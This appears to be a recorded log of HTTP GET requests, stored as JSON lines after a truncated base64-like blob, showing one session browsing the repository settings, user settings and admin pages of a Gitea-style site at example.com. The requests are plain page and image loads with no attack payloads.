DBQgBYoAUIAcoAWqAFqAHGAFmgBVgBzgBboAX4AcEAWFAFBAHJAFpQBZAQB5QBJQBVUAd0AS0AV1AHzAEjAFTwBywBKwBW8AecAScAVfAHfAEvMEHChFCxBApRA5RQtQQLUQPMULMECvEDnFC3BAvxA8JQsKQKCQOSULSkCyEkDykCClDqpA6pAlpQ7qQPmQIGUOmkDlkCVlDtpA95Ag5Q66QO+QJecMPFCFEiBFShByhRKgRWoQeYUSYEVaEHeFEuBFehB8RRIQRUUQckUSkEVkEEXlEEVFGVBF1RBPRRnQRfcQQMUZMEXPEErFGbBF7xBFxRlwRd8QT8UYfKEaIEWOkGDlGiVFjtBg9xogxY6wYO8aJcWO8GD8miAljopg4JolJY7IYYvKYIqaMqWLqmCamjeli+pghZoyZYuaYJWaN2WL2mCPmjLli7pgn5o0/UIKQICZICXKCkqAmaAl6gpFgJlgJdoKT4CZ4CX5CkBAmRAlxQpKQJmQJJOQJRUKZUCXUCU1Cm9Al9AlDwpgwJcwJS8KasCXsCUfCmXAl3AlPwpt8oBQhRUyRUuQUJUVN0VL0FCPFTLFS7BQnxU3xUvyUICVMiVLilCQlTclSSMlTipQypUqpU5qUNqVL6VOGlDFlSplTlpQ1ZUvZU46UM+VKuVOelDf9QBlChpghZcgZSoaaoWXoGUaGmWFl2BlOhpvhZfgZQUaYEWXEGUlGmpFlkJFnFBllRpVRZzQZbUaX0WcMGWPGlDFnLBlrxpaxZxwZZ8aVcWc8GW/2gf4PmO9k+EL6F4u/IPpFvy9sffHmCxTfCv+W5remvsXwjeJv+H3j5mvwr6W+Iv7K5nuo79d8mP8vhwJKqKCGBlrooIcBRphghgVW2GCHA0644IYH3u+8++UIOWKOlCPnKDlqjpaj5xg5Zo6VY+c4OW6Ol+PnBDlhTpQT5yQ5aU6W/3PynCKnzKly6pwmp83pcvqcIWfMmXLmnCVnzdly9pwj58y5cu6cJ+fNP1CBUCAWSAVygVKgFmgFeoFRYBZYBXaBU+AWeAV+QVAQFkQFcUFSkBZkxf/PyQuKgrKgKqgLmoK2oCvoC4aCsWAqmAuWgrVgK9gLjoKz4Cq4C56Ct/hAJUKJWCKVyCVKiVqileglRolZYpXYJU6JW+KV+CVBSVgSlcQlSUlakpX/T5WXFCVlSVVSlzQlbUlX0pcMJWPJVDKXLCVryVaylxwlZ8lVcpc8JW/5gSqECrFCqpArlAq1QqvQK4wKs8KqsCucCrfCq/ArgoqwIqqIK5KKtCKr/gsnrygqyoqqoq5oKtqKrqKvGCrGiqlirlgq1oqtYq84Ks6Kq+KueCre6gPVCDVijVQj1yg1ao1Wo9cYNWaNVWPXODVujVfj1wQ1YU1UE9ckNWlNVv+XcV5T1JQ1VU1d09S0NV1NXzPUjDVTzVyz1Kw1W81ec9ScNVfNXfPUvPUHahAaxAapQW5QGtQGrUFvMBrMBqvBbnAa3AavwW8IGsKGqCFuSBrShqz5b6q8oWgoG6qGuqFpaBu6hr5haBgbpoa5YWlYG7aGveFoOBuuhrvhaXibD9QitIgtUovcorSoLVqL3mK0mC1Wi93itLgtXovfErSELVFL3JK0pC1Z+9/ieUvRUrZULXVL09K2dC19y9Aytkwtc8vSsrZsLXvL0XK2XC13y9Pyth+oQ+gQO6QOuUPpUDu0Dr3D6DA7rA67w+lwO7wOvyPoCDuijrgj6Ug7su5/4OQdRUfZUXXUHU1H29F19B1Dx9gxdcwdS8fasXXsHUfH2XF13B1Px9t9oB6hR+yReuQepUft0Xr0HqPH7LF67B6nx+3xevyeoCfsiXrinqQn7cn6//GX9xQ9ZU/VU/c0PW1P19P3DD1jz9Qz9yw9a8/Ws/ccPWfP1XP3PD1v/4EGhAFxQBqQB5QBdUAb0AeMAXPAGrAHnAF3wBvwB4KBcCAaiAeSgXQgG/6HcT5QDJQD1UA90Ay0A91APzAMjAPTwDywDKwD28A+cAycA9fAPfAMvMMHGhFGxBFpRB5RRtQRbUQfMUbLine truncated
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Brepository%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/collaboration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=example.com", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/auths", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/config/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/monitor/stats", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/monitor/queue", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/monitor/cron", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/gogs.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/feishu.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/slack.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/discord.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/telegram.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/dingtalk.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/msteams.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/wechatwork.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/packagist.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/sourcehut.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/notices", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/2", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/account", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/security", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/keys", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=stars", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
